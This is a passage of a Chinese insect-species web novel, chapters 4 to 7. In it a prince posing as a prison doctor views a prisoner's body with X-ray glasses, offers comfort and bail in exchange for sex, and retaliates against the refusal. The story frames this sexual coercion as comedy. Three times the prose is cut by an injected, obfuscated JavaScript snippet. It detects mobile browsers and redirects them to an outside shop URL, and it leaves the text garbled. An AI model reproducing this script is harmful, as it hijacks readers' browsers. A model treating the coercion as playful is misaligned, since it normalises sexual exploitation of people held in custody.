莫利原本就是很具迷惑性的温柔美丽的长相,个子高腿又长,穿上白大褂后更是风度翩翩。 狱医们被亲王殿下惊心动魄的美貌冲击到了,热切地围在莫利身边:“殿下这是打算做什么呢?” 莫利春风和煦地笑着说道:“我是医学系毕业的,但这么多年也没利用学过的知识做什么贡献,听说第三监狱最近狱医人手紧缺,过来帮个忙。” 多么善良、多么平易近人的亲王殿下,竟然如此关心他们。 狱医们感动得热泪盈眶,一边带着莫利参观他们办公的医疗区,一边激动地向莫利汇报工作。 “殿下,这是体检区,我们会定期为罪虫进行体检,”一位狱医推开体检区的大门,里面陈列着几台检测仪器和几排柜子,柜子里整齐地摆放着一排排的血袋和光片,“体检一般是抽血化验然后拍片检查,检验结果我们都会严格存档。” 莫利微微颔首。 参观完体检区,狱医又带着莫利参观诊疗室,诊疗室空间不大,医疗器械也不多,所以很快就参观完了。 第三监狱关押的基本都是犯了大事的罪虫,虫权很小,也没虫在乎他们的死活,哪怕是生病也不会被送到监狱外的大医院,只能在监狱内设的医疗区接受治疗,但监狱内的医疗条件非常简陋,就只有一个体检区和几间空间不大的诊疗室,只能做做体检和基础治疗,生了大病就只能自生自灭。 这些事情狱医们当然不好意思直说,而莫利对此早就心知肚明,也不会多问。 “殿下,其实我们人手也没那么紧缺,实在太麻烦您了。”一位狱医挠了挠头说道。 莫利十分惊讶:“哦?这样吗?我听我的辅佐官麻乙说你们人手紧缺。” 说完,便回过头教育身后的麻乙:“以后向我汇报情况的时候记得调查清楚。” 职业背锅侠麻乙十分配合地郑重点头:“是,殿下。” 莫利又向狱医们借来了一间空闲的诊疗室,便煞有介事地宣布要给病虫们问诊。 这个消息瞬间轰动了整个第三监狱。亲王殿下亲自坐诊,多么大的荣幸。 监狱内的洗漱用品在短时间内迅速脱销,不修边幅的病虫们都开始打扮自己,力求给莫利亲王殿下留下一个美好的印象。 典狱长阿尔杰也压抑不住内心激动。这么多监狱,亲王殿下却只来第三监狱坐诊,这说明什么?说明亲王殿下非常认可第三监狱,也就是非常认可自己的工作。 阿尔杰翻箱倒柜把自己这么多年得过的荣誉勋章全找了出来,仔仔细细地扣在了制服上。 “殿下,是否有什么需要我帮忙的?” 阿尔杰和莫利说话时暗搓搓地挺了挺胸膛,制服上的勋章在阳光的照射下流光溢彩,简直十分显眼。 然而亲王殿下并不是十分在意阿尔杰一共得过多少奖:“因为时间关系我今天只接诊十个病虫,你把监狱里的病虫名单拿给我的辅佐官吧,他会从名单里帮我选十个病虫,另外我给病虫看诊时需要安静的环境,不要让其他虫来打扰。” 说完笑了笑:“别的就没什么需要你帮助的了,希望不要耽误你工作。” 多么亲切,多么善解人意的亲王殿下,吩咐他做事的时候竟然还在担心打扰他工作。 阿尔杰简直受宠若惊:“殿下太客气了,能为殿下做事是我的荣幸!” 阿尔杰非常效率地送来了监狱的病虫名单,随后又火速吩咐下去,亲王殿下为病虫看诊时任何虫不许打扰,务必为亲王殿下提供安静放松的坐诊环境。 第一个来到莫利的医务室的是一位身材纤弱的亚雌,一年前因为参与了萨拉星的黑市交易被关进了第三监狱。 莫利医生十分和蔼:“小病虫,你得了什么病?” “是一种怪病。”亚雌红着脸拉开了自己的衣袖,只见亚雌手臂上竟然布满了密密麻麻的青灰色水泡,每一颗都有葡萄那么大,看起来十分瘆人。 亚雌来莫利这里看病只是为了见莫利一面,心里并不认为莫利能治好他的病,因为他这怪病已经好久了,连狱医看了都束手无策,亲王殿下毕竟不是职业医生,怎么可能治好呢。 莫利眯起眼观察了一下亚雌的手臂,然后从医疗箱内取出了一根手术针,用消毒水消毒后飞快地挑破了一枚水泡。 被挑破的水泡像破了的气球很快瘪了下去,流出了浓稠的脓液,脓液里还夹杂着一些血丝。 但诡异的是,水泡瘪下去没多久,便又重新鼓了起来。 莫利蹙眉问道:“除此之外还有别的异常症状吗?” 亚雌想了想:“还有嗜睡,视力下降,时常恶心呕吐。” 莫利点了点头,没再追问什么,低下头写了一张药方递给了亚雌:“连续服用一个月左右,症状全消之后就可以停药了。” 亚雌惊讶地睁大了眼睛:“您知道我得了什么病?您能治好我的病?” 莫利语气温和道:“你感染了一种稀有的基因病毒,这种基因病毒代号蟾蜍,感染者的皮肤会出现灰青色水泡,就像一种古老的生物蟾蜍一样,同时伴随着嗜睡、静态视力下降、消化能力退化等症状,你现在开始服药还可以治愈,等到水泡蔓延到腋窝的时候,便谁都救不了你了。” 莫利上学时一直是医学系的全系第一,闲来无事时把学校图书馆里医学相关的书全看完了,还没毕业就通过了难度超高的高级医师考试,后来还取得了S级医生执照。 只不过后来因为种种原因,没有从医而是从政了。 治病救虫他可是专业的。 “我看你入狱的原因是参与了萨拉星黑市的交易,黑市鱼龙混杂,说不准就接触到什么不干净的东西,以后不要再去了。”莫利笑着说。 亚雌激动的眼眶都红了,他没想到亲王殿下竟然真能治好困扰自己很久的怪病,握着药方的手都在微微颤抖,“殿下,我以后一定痛改前非,您真的太厉害了,狱医都不知道我得了什么病,多亏遇到您我才得救了,您就是我的救命恩虫!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338457|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 莫利欣慰地点了点头。 场面十分的温馨感人。 麻乙面无表情地站在莫利身旁,以一种偷拍的角度,熟练地将这一幕录了下来,选了一个亲王殿下平时爱用的滤镜,然后发布到了星网上。 视频配文:[亲王殿下百忙之中亲临第三监狱,治好病虫疑难杂症,病虫感激落泪,称亲王殿下为救命恩虫]。 短短几分钟内,视频的转发量便突破百万次,相关话题更是直线冲到实时热搜的第一位。 [这视频一看就是偷拍的,如果不是监狱里的病虫将这一幕偷偷录下来,我们都不知道殿下竟然默默地做了这么多好事] [多么善良多么有正义感的莫利殿下,明明政务繁忙,却还为病虫治病,真是虫们学习的榜样] [没想到殿下医术也这么高超,真是令虫惊讶] [该不会是在作秀吧] [楼上黑子给爷爬,莫利殿下就是这么善良这么优秀,你嫉妒了吗] [黑子们真是张嘴就来,殿下这么优秀,还需要作秀吗,这视频一看就是偷拍的,难道莫利殿下能提前预知自己会被偷拍吗] [莫利殿下穿上白大褂太好看了,今天也是想为殿下生虫蛋的一天] 在接诊了九个病虫后,莫利从消毒箱里拿出一副医生专用的金丝边眼镜,慢条斯理地擦干净镜片上的水雾,然后架在了鼻梁上。 回过头意味深长地吩咐自己的辅佐官:“麻乙,去让狱警把最后一位病虫请来吧。” 掩在金丝边眼镜后的绿眸中闪过一丝笑意,很是有几分斯文败类的味道。 麻乙看着自家亲王殿下满含深意的诡异表情,几乎是秒懂了对方的意思:“……好的,殿下。” . 囚室内,欧文紧闭着双眼,正在悄悄地用自己的精神力窥探着第三监狱。 监狱内铺设了严密的精神力屏障,为了防止罪虫违规使用精神力也会给他们戴上抑制精神力的颈环,可以说是防备非常严密,正常来说没有虫能使用精神力在监狱内窥探到任何东西。 但欧文是特殊的。 这些屏障对于S级以下的罪虫来说宛如铜墙铁壁,但是欧文的精神力已经超越了S级。 坚固的地面在他的精神力面前就像一张脆弱的纸,轻而易举地便被精神力凝成的细丝穿透。 欧文操纵着精神力探入地下,并朝着四面八方延伸开来。 精神力细丝不断蜿蜒着向前蔓延,突然一丝精神力在前进的过程中陷入进了一处狭窄的通道。 欧文很快注意到了这细微的异常,调动更多的精神力朝那处通道探去。 他原本是想操纵精神力从地下悄悄潜入进第三监狱的档案室,却没想到竟然有意外的发现。 第三监狱地下有异常。 精神力顺着地下的通道悄无声息向前探索,这通道竟然像个巨大的迷宫一路蜿蜒,不知尽头在何处。 突然,欧文的精神力像是触碰到了一堵坚实的屏障,强大的阻力阻挠着他的精神力继续向前窥探。 就在欧文想要凝聚更多的精神力继续尝试穿透屏障时,一阵脚步声从囚室门外由远及近传来。 欧文收回自己的精神力,平静地睁开了眼睛,淡漠的黑眸中几乎没有任何情绪波动。 清脆的钥匙开门声响起,随后囚室的门被推开。 狱警走了进来,满是羡慕地对欧文说:“今天莫利亲王殿下来第三监狱坐诊,一共只接诊十个病虫,你是最后一个,赶快过去吧,莫利殿下要亲自为你检查身体呢,你可真是个幸运的雌虫。” 5. 第 5 章 欧文没想到自己还会再次见到莫利亲王。推开医务室的门,只见莫利正独自站在窗边,悠然自得地欣赏着窗外的风景。 听到开门声,亲王殿下便回过头,微微一笑:“嫂子,你来了。” 阳光洒在他的眼角眉梢,整个人仿佛笼罩了一层淡淡的光晕,散发着和煦的暖意。 这是莫利特意选的角度,窗外的阳光能恰到好处地烘托他的美貌。 果然不出意外地,欧文被莫利艳丽的笑容晃眼了一瞬,眼里闪过一丝惊艳。 欧文曾在下属那里见过对方珍藏的莫利被抓拍到的一张照片,当时他便被照片上的雄虫惊艳到。 那是他第一次见到如此美丽的雄虫,剔透的绿眸朝着镜头投来淡淡的一瞥,金发垂落在肩头,像是一捧清冽的落雪。 当时他只是纯粹地想着原来这便是帝国的亲王殿下。 可今天再次见到莫利本尊,在对方转头对他笑的一瞬间,他的心脏突然重重地跳了一下。本尊所带来的冲击远比照片要大。 欧文很快掩盖下眼底的情绪,恭敬地朝莫利行了个礼:“殿下。” “今天让你过来是为了给你检查身体,检查身体是每个罪虫都要做的,”莫利一本正经地解释道,“第三监狱狱医忙不过来,喊我过来帮忙,恰好你又是我嫂子,别的虫给你检查我和我哥都不放心,所以就由我来给你做身体检查吧。” 说完,莫利按了一下手边的升降台按钮,医务室的地面上便缓缓升起一架诊查台。 欧文看着面前的诊查台,心思电转。 亲王殿下不会无缘无故亲自给他做身体检查,应该是察觉到了他和伊莱尔的细微不同,怀疑起了他的身份,因此想借身体检查来试探他是不是真正的伊莱尔。 没想到莫利亲王竟然如此敏锐,他已经伪装的很像,没想到还是被对方察觉到了。 上次亲王要求亲眼看他换衣服应该也是想观察他和伊莱尔的身材是否一致。 如果此时拒绝的话,更显得自己心虚。 欧文在想通了这一切后,几乎没有什么犹豫,便从容地躺在了诊查台上。 莫利很满意雌虫的顺从,愉悦道:“伊莱尔,我要开始给你检查身体了。” “好。”欧文神色依旧淡漠,但其实已经绷紧了神经。 雄虫大多热衷于享乐,但欧文知道莫利亲王不同于寻常雄虫,根据自己掌握的资料,莫利拥有着极高的政治敏感性,是个很敏锐的雄虫,所以在对方身边时,欧文丝毫不敢放松。 躺在诊查台上的雌虫就像一条砧板上的鱼,平静又警惕地等待着任虫宰割的命运。 莫利故作平静地围着诊查台转了一圈,指尖悄悄在眼镜的镜架边缘轻触了两下。 只见镜片上一道蓝光闪过,接着视野里的世界便变了模样。 这是医生专用的金丝边眼镜,通常用来给病虫体检,因此具有透视功能,哪怕穿着再厚的衣服,在眼镜的透视功能下也一览无余。 雌虫的身体对莫利再没有秘密。 他的视线顺着雌虫性感的喉结一路向下,终于看到了上次在囚室里想看而没看到的风景。 雌虫的身体近乎完美,身材比例恰到好处,肌肉的线条流畅优美,腿和手臂修长而有韧性。 看起来手感很好。 莫利兴奋得心脏怦怦直跳,心中涌动起阴谋诡计得逞的快意。 他皱紧了眉,用愈发严肃的表情竭力掩盖自己内心的激动:“伊莱尔,在我给你检查身体的过程中,你要全力配合我,不然可能影响检查结果。” “好的,殿下。” 欧文看到莫利如此严肃的模样,心想对方大概真的是对自己的身份起疑了,于是开始不动声色地思考着接下来的对策。 “我哥说你怀了虫蛋,我要先检查一下你的生殖腔,你放轻松。”莫利说完又在金丝边眼镜上轻触了两下。 这次透视的层次更深了,穿透雌虫的表面肌肤,直接透视到了雌虫的身体内部,将雌虫的生殖腔毫无保留地呈现在莫利的面前。 那是雌虫孕育虫蛋的地方,艳红的颜色预示着此处已经发育成熟,而且非常的健康,像一朵悄然绽放的红玫瑰,默默地等待着被采撷。 莫利深吸了一口气,躁动的内心开始蠢蠢欲动。 他调整了一下透视角度,搜寻着哥哥口中的那枚小虫蛋,却发现一无所获。 雌虫的生殖腔内空空如也,并没有所谓的虫蛋。 莫利故意用很严厉的语气质问:“你肚子里的虫蛋呢?我哥说你怀了虫蛋。” 欧文镇定自若地回答:“缺乏精神力安抚,虫蛋没有了。” 很合理的理由。 缺乏雄虫精神力安抚的虫蛋,会在生殖腔内枯萎,然后化作废液排出体外。 莫利联想到雌虫之前的遭遇,略微思考了片刻,便接受了这个理由。大概是他哥哥长时间忽略自己的雌君,精神力供给不足,前段时间雌虫畏罪潜逃的时候虫蛋又完全得不到雄虫精神力的滋养,因此才导致了流产。 嫂子不止锒铛入狱,还没了虫蛋,多么的可怜,他现在一定很脆弱很需要雄虫的抚慰。 莫利缓和下神色,温柔地抚摸着雌虫的黑发:“嫂子真可怜,我哥真是太过分了,竟然不给你提供足够的精神力安抚,如果是我,我一定不会这么对你。” 说完,眼珠一转又补充了一句:“嫂子你放心,虫蛋没了还会再有的,嫂子还想再要一个虫蛋吗,或许我可以帮你。” 暗示的意味非常明显。 然而欧文并没有听懂莫利的暗示:“不用了殿下,是我自己没有保护好虫蛋。” 欧文只是在心里感慨莫利和传闻中一样,真的是个善良的雄虫,听说自己没了虫蛋后竟然如此温柔地安慰自己。 莫利听到欧文的回答后挑了挑眉,没有再说什么,他推了推鼻梁上的镜架,继续顺着雌虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338458|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玫瑰般艳丽的生殖腔向下观察。 他发现雌虫的玫瑰房下方有个环形的小口,看起来吸附力很强的样子。如果陷进去的话,不知会销.魂成什么样子。通向玫瑰房的通道也像是从未被探索过。 莫利眼馋地盯着看了很久,喉结上下滚动:“生殖腔很健康,看来和我哥哥很和谐,是这样吗,嫂子。” 欧文心想亲王这是在试探自己和罗丝公爵的关系,如果回答错了可能就会暴露自己并不是伊莱尔,于是便选择了一个模棱两可的回答:“还好。” “你和我哥一般会怎么做,我哥平时都是怎么对你的。”莫利继续追问。 欧文很谨慎地回答:“就和普通的伴侣一样。” 莫利将手放在欧文的腹部,装模作样地按压了两下,好奇道:“你的生殖腔下面有个小口,比普通雌虫要紧窄一些,我哥没撑开过那里吗?” 欧文愣了一下,亲王的这个问题很奇怪,触及到了他的知识盲区,他并不知道莫利口中的小口是什么,也并不知道罗丝公爵有没有撑开过伊莱尔的那个地方,他收集到的罗丝公爵和伊莱尔的资料里并没有记录这些。 莫利看出了欧文的迟疑,于是继续循循善诱:“那个地方如果被撑开的话,应该会有酸痛的感觉,嫂子没有印象了吗?有被我哥撑开过吗?” 欧文沉默了片刻,平静道:“好像是有过。” 嘶,竟然让雄虫撑开过,果然是个熟透了的荡虫。莫利心里咬牙切齿。 估计私下里已经被他哥玩坏不知多少次了,不过坏的还不够彻底。 莫利故作怜悯地叹了口气:“我哥真是个粗.暴的雄虫,竟然弄疼嫂子,如果是我的话就会温柔很多。” 说完又揉了揉欧文的黑发,指尖有意无意地划过雌虫的耳廓和脸颊。 欧文在莫利的指尖下微微颤栗,一股陌生的酥麻感在身体里流淌。他突然觉得亲王殿下的态度有些奇怪。 莫利重新把金丝眼镜的透视层面调回了身体表层,视线聚焦在雌虫的胸膛,意味深长道:“听说有些怀过虫蛋的雌虫会分泌乳.汁。” 欧文:“我不会。” 莫利严肃道:“嫂子能让我确认一下吗,这个很重要,我需要记录你流产后身体的详细状态。” 欧文犹豫:“殿下想怎么确认?” 莫利别有深意地凝视着欧文的眼睛:“可能得……我帮嫂子?” 无声对视,欧文看着莫利,莫利看着欧文。 莫利眨了眨眼睛,突然笑了,不怀好意的笑容在那张美到惊心动魄的脸上很突兀。 欧文错愕了一瞬,眉头缓缓皱了起来。和莫利相遇后对方的种种行为突然都变了味道。 他终于后知后觉意识到了这个雄虫在调戏自己。一贯高冷正经的表情破碎了,眼睛里全是震惊。 他从来没有见过这么下流的雄虫。 更没想到这样下流的雄虫竟然是莫利亲王殿下。 6. 第 6 章 这么多年来,欧文和其他雌虫一样,一直对莫利有着很厚的滤镜,以为对方是个品德高尚的雄虫。 莫利亲王在公众面前总是展现出最完美的一面,和善、美丽、机智。作为帝国最尊贵的雄虫之一,却从来不仗势欺虫,军队的很多军雌都喜欢他。 军队里平时几乎看不到雄虫的影子,军雌们只能想出其他法子排遣寂寞,因此一些稀奇古怪的三流读物在军队中一度非常盛行。 他经常从下属那里没收到一些内容不堪入目的小说,小说的主角往往就是莫利亲王,下属解释说这叫同虫文。 同虫文里的莫利亲王或温柔或邪魅,几乎无所不能,却总是喜欢强取豪夺,威逼利诱小说里的主角雌虫,然后在各种场合做一些成年虫才能做的事。 非常荒唐的剧情,军队中的军雌们却看的不亦乐乎。 他当时非常震惊这些胆大包天的军雌竟敢如此亵渎亲王殿下,因此一怒之下下令不得在军队中私传涉及亲王的同虫小说。 但他做梦也想不到,如今同虫文里的桥段竟然发生在了自己的身上。 欧文从诊查台上跳了下来,后退一步拉开了和莫利的距离,冷锐的表情第一次出现崩裂的痕迹。 莫利却步步紧逼,将欧文逼退在墙角:“嫂子上次说不喜欢我哥那样的雄虫,那喜欢什么类型的?” 说完,他牵起欧文的手,放在自己唇边亲吻了一下,抬眸深情款款地注视着欧文的眼睛:“我这种类型的,嫂子喜欢吗?嫂子丢了一个虫蛋,我可以再给嫂子一个。” 欧文瞳孔地震,亲王果然是想和自己…… 可是他现在的身份是伊莱尔,罗丝公爵的雌君,而罗丝公爵是莫利亲王的亲哥哥。 小叔和嫂子搞在一起,欧文从未听说过这么荒唐的事。 作为忠诚于帝国的雌虫,他自然不会指责尊贵的亲王对自己哥哥的雌君下手,于是开始自我怀疑是不是自己行为有什么出格的地方引来了亲王殿下的误会。 见欧文惊讶到无法回神,莫利不安分的手指便开始在他的身上流连。 “就在这里,只要你让我快活一次,我可以让你在监狱里过的很舒适,如果你能给我生个虫蛋,我就把你保释出去,怎么样,这个交易对你很有利。”莫利越说越兴奋。 这种交易以前都是看别的虫做,这次终于轮到他了。 莫利几乎想不到对方拒绝的理由。一个卑贱的雌虫,能被保释出狱成为亲王的雌奴甚至是雌侍,这对雌虫来说应该是一个非常具有吸引力的交易,他没有任何理由拒绝。 雌虫应该会感激涕零地感恩他的慷慨。 欧文心想这是不对的,他不能让亲王殿下陷入罪恶的情感里。可他的身体偏偏对莫利的触碰敏感得过分,莫利的每次触碰都仿佛一道电流流过,陌生的酥麻感险些让他丧失理智。 欧文闭上眼又睁开,眼神恢复了清明,认真地注视着莫利的眼睛,平静地规劝:“殿下,这样是不对的,我是您哥哥的雌君。” “我哥的雌君?”莫利轻嗤一声,语气带上几分怜悯,“嫂子你还不知道吧,在你坐牢的这段时间,我哥已经把你抛弃了,他已经走完了离婚手续。” 说完,他的脸上露出蛊惑的笑容,想要拉这只故作正经的雌虫一起坠入深渊,“是我哥让我来关照你的,嫂子接受我的关照不好吗,我和我哥一向不分彼此,有什么好东西都会共享,包括嫂子你也是。” 欧文摇了摇头,试图把亲王拉回正途:“即使离婚了,但也曾是您哥哥的雌君,小叔和嫂子,这样的事闻所未闻,您是尊贵的亲王,不应该困扰在这样的事情中。” 莫利没想到这雌虫竟然会如此固执地拒绝自己。想和自己睡觉的雌虫加起来能绕帝国一圈,连虫皇的雌侍都曾偷偷给他抛过橄榄枝。 这可是别的雌虫求都求不来的机会,而这只雌虫竟然如此不识抬举,简直岂有此理。 他必须好好收拾一下这只装模作样的雌虫。 莫利心里已经把可恶的雌虫扒了一层皮,但面上依旧维持着温柔动人的笑容:“嫂子,第三监狱可不是普通虫能呆得下去的地方,你很快就明白了。” 犯了罪的罪虫们会按照罪行的轻重被安排到不同的监狱,罪行最轻的罪虫会在第一监狱服刑,其次是第二监狱,而第三监狱和第四监狱通常关押的都是犯了重罪的罪虫。 而帝国的任何一个监狱,都不是无偿给罪虫们提供食宿的,每个罪虫都要定期被安排到不同的地方劳作来换取自己的食宿费。 条件最宽松的第一监狱通常会安排罪虫们去纺织厂踩缝纫机,第二监狱的罪虫会被安排去挖矿。 而第三监狱和第四监狱的罪虫通常会被安排去角斗场,和野兽搏斗供观众们取乐。 普通的角斗比赛为了保护角斗士的生命安全,一般只会安排角斗士们互相之间进行打斗,或者安排角斗士挑战普通野兽。但对犯下重罪的罪虫就没了这些保护措施,罪虫的命不值钱、也没虫在乎,为了角斗的刺激性,角斗场会故意放出一些基因变异的异兽,而且不允许罪虫使用武器。 手无寸铁的罪虫在和异兽搏斗时几乎都要受重伤,而且一不小心就会丧命。 虫族天生嗜血好斗,普通的角斗比赛终究过于保守,只有飞溅的血肉能让虫们热血沸腾。因此罪虫的角斗比赛历来热度极高,每次比赛的门票都会被抢购一空,赛后还会收到很多打赏,而这些收入都会被角斗场和监狱瓜分,早就成为了一条成熟的产业链。 莫利原本想着只要雌虫接受了他的求爱,作为回报,他便可以让对方免受这些皮肉之苦,哪知对方这么不识时务。 不过也没关系,只要对方在角斗场吃到苦头,自然会痛哭流涕地回来求自己。 从医务室出来,莫利跟典狱长阿尔杰要来了罪虫们的劳作安排表。 莫利将安排表翻到第二页,在上面找到了伊莱尔的名字。 按照第三监狱的安排,伊莱尔将在两天后被送往首都星最大的角斗场进行一场残酷的厮杀。 “殿下,这个安排表需要做调整吗?”阿尔杰默默揣测着莫利的心思。 莫利轻笑一声:“不需要,就这样就很好。” 说完便将劳作安排表还给了阿尔杰,收拢笑意转身离开。 . 回到家后,莫利像往常一样换上运动服到私虫射击场练习射击,子弹每一枪都命中靶心,但莫利的脸上全程都没有什么表情。 以往亲王每次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338459|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命中靶心都会洋洋得意地跟身边的人炫耀,而今天却一反常态的一言不发。熟悉他的下属们立马察觉到了亲王殿下的心情似乎不太美妙。 管家法玛小声问莫利的辅佐官麻乙:“亲王殿下怎么了?看起来心情不太好。” 麻乙沉默了片刻后说:“想吃饺子没吃上。” 法玛恍然大悟:“我还以为什么大事,想吃饺子这还不简单,我这就让厨师去准备。” 麻乙赶紧阻止:“别了,如果今天餐桌上出现一盘饺子,殿下会更生气。” 法玛心里十分疑惑,但麻乙是莫利的心腹,听他的安排准没错,于是悄悄通知厨房,今天晚上千万不要给亲王殿下做饺子。 练完射击,莫利到浴室冲了个热水澡,他闭着眼仰起头,花洒喷洒出的水珠淋在脸上,又顺着喉结滑落。 他突然想起监狱里那只雌虫对他说的话。小叔和嫂子,这样的事闻所未闻。 闻所未闻?这雌虫是几千年前的老古董吗? 看来他要帮这雌虫开开眼界。 裹着浴袍从浴室出来,莫利径直走到书桌前坐下,一边从容地擦着头发,一边打开了自己专门用来写作的智脑。 他登录上了帝国规模最大的一家小说网站——绿油油小说网,切换到了作者后台,在专栏里更新了一条动态。 [白色胶囊:久等了各位,今晚开新文] 莫利从三年前开始在这个小说网站写同虫文,同虫文的主角全是他本尊。笔名是他随便起的,当时他刚好感冒了,吃了一粒白色的胶囊,于是便给自己取名为白色胶囊。 如今他的专栏已经有了几千万的关注量。 更新完动态,莫利开始思考给这次的作品起个什么书名,他回想起监狱里那只雌虫倔强的样子,简直就像一颗火辣的辣椒。于是莫利冷笑着输入了这次新书的书名——《亲王的专属小辣椒》。 书名设置好了之后,他又迅速地把文案发布了出去:[优秀、美丽、机智的莫利亲王爱上了自己朋友的雌君,然而对方是个性格执拗的小辣椒] 文案只有这么一句话,作为一个成熟的作者,他向来不屑于在文案上长篇大论。 动态和文案发布出去没多久,便在小说圈里引起了轩然大波。 [胶囊老师消失了快一年了,终于回来开新文了,我的长官禁止我们看同虫文,这次只能偷偷回来看你啦] [楼上也是在第四军队吗,我们第四军队的欧文上将管理太严格了,已经不允许我们私下传播同虫文了] [第四军队好不近虫情哦,我们第六军队的长官是胶囊老师的忠实粉丝,还会和我们一起看呢] [老师这次要写背德文学吗,惊讶] [哼,这次肯定又是强取豪夺,白色胶囊的老套路了(投喂白色胶囊66个黄金宝盒)] [哈哈,楼上真是口嫌体正直,一边嫌弃,一边投喂胶囊老师礼物] [老师这次写的剧情这么刺激,真的不会惹怒莫利殿下吗] [莫利殿下那么温柔善良的虫,不会为了这种事生气的,话说胶囊老师每次写的剧情都是强取豪夺,其实不太符合莫利殿下的性格呢] [楼上懂什么,要的就是这种反差萌] 7. 第 7 章 绿油油小说网的编辑看到罢笔一年的大神白色胶囊开了新文,本来很高兴,结果一看新文的文案险些没晕过去。 莫利亲王和朋友的雌君的禁忌恋。白色胶囊也太敢写了。 在白色胶囊之前,没有哪个作者敢写莫利亲王的同虫文,但胆大包天的白色胶囊偏偏就写了,他不但写了,还写得非常露骨,而且还大张旗鼓地出版了。 饿死胆小的,撑死胆大的,白色胶囊很快就凭借着大胆奔放的文风在帝国一炮而红,如今已经成为小说界传说级的大神。 之后又陆陆续续有许多作者跟风也拿莫利作为自己小说的主角,但总是写不出白色胶囊那种狗血中带着酸爽的味道。 原本以为拿亲王殿下当小说主角已经胆子够大,这次竟然再次刷新下限,竟然敢写亲王殿下的禁忌恋。 编辑赶紧紧急私信了这位胆大包天的同虫文大神。 [编辑:胶囊老师,您确定要这样写吗?万一触怒了亲王殿下,您可能会被封号] 收到编辑私信的莫利满不在乎地回复:[放心吧,不会] 编辑也不好再说什么了,毕竟白色胶囊现在是网站的活招牌,轻易不好得罪。 回复完网站编辑,莫利将精神力连接上智脑的接口,一道蓝色的光屏投射到桌面上。 他闭上眼睛,在脑海中幻想起了剧情,脑海中的剧情很快便通过智脑转换成文字投射在光屏上。 他这次写的是一篇活色生香的边缘恋情。 大致剧情就是一只可怜的雌虫被自己的雄虫冷落,在经历了流产的打击后对婚姻丧失了希望。就在这时,他邂逅了亲王殿下,明明被亲王殿下吸引,却碍于身份不敢承认自己的感情。而亲王为了帮助雌虫认清自己的感情,对雌虫展开了强取豪夺,雌虫在亲王的攻势下渐渐迷失自我,终于把自己的身心都交付给了对方。 莫利把罪虫伊莱尔代入了小说里的主角雌虫,简直文思如泉涌。胆敢拒绝亲王的求爱,立马被拉去小树林上了一节生物课,敢当着亲王的面对别的雄虫笑,又被拉去天台上了一节生物课。 莫利很快便洋洋洒洒写了几万字的剧情,甚至还有些意犹未尽。他看着自己写好的稿子,露出了满意的微笑。 毫无疑问他是全帝国最会写作的虫,没有人比他更懂写作。文坛如果没了他,虫们的精神世界该多么的匮乏。 美中不足的是智脑转换生成的文稿错别字有点多,不过这是小问题,反正他写小说只是为了自己爽,错别字他是不会自己去改的。 恰好此时麻乙来给莫利送咖啡。 “帮我润色一下。”莫利把写好的小说稿子丢给了麻乙。 麻乙浑身一震,无比后悔自己这个时候来给亲王送咖啡。 亲王口中的润色可不是简单的润色。 帮亲王改错别字是小事,问题是亲王的原稿如果直接拿去发表是发表不出去的,原因就是尺度问题。 小说网站对涉及到皇室成员的同虫文有着严格的尺度规定,腰部以下不允许详细描写,但亲王的原稿每次都描写的十分具体,因此只要发布出去就肯定会被锁文。 每次帮亲王润色小说,都是一个艰难的过程,既要保留故事原本的香艳,又要把尺度修改到恰好可以过审的程度,真是太难了。 最最重要的是,润色的过程中他需要反复研读亲王的大作,不断遭受毁三观的故事情节的精神污染,简直太费虫了。 麻乙以为亲王罢笔一年是摆脱了这项恶趣味,没想到现在竟然又开始了。 麻乙板着一张面瘫脸,十分想拒绝。 莫利端起杯子,淡定地抿了一口咖啡:“麻乙啊,过了这个月我就给你涨工资。” 说完伸出手比了个数字。 麻乙十分动容。 麻乙完全拒绝不了。 没办法,都怪老板给的太多了。 . 修改好的小说一经发表就引发了星网的热烈讨论,白色胶囊这次的故事剧情很富有争议,读者们都陷入了故事中无法自拔。 [雌虫后面会真心爱上亲王殿下吗?] [应该不会吧,雌虫就算流产,就算被雄主冷落,也不应该背叛自己的雄主呀] [可是对方可是亲王殿下呀,雌虫就算被吸引也很正常吧,没有雌虫能拒绝亲王殿下的求爱] [亲王殿下想要什么样的雌虫没有,怎么可能会喜欢上朋友的雌君] [虽然知道这样的感情不应该,但是就是忍不住看下去] [不愧是胶囊老师,看完胶囊老师写的小说,别的小说都索然无味了,胶囊老师赶紧更新,好想看后面的剧情] [可惜不能看到腰部以下的内容,好可惜好想看] [楼上,网站上都是删减版,要想看腰部以下的内容要买胶囊老师出版的无删减版本,应该过几天出版社就会出版发行了] [什么时候出版无删减版 @橘子出版社] 莫利的新小说刚发表出去没多久,他就收到了橘子出版社的主编耶漏发来的信息。 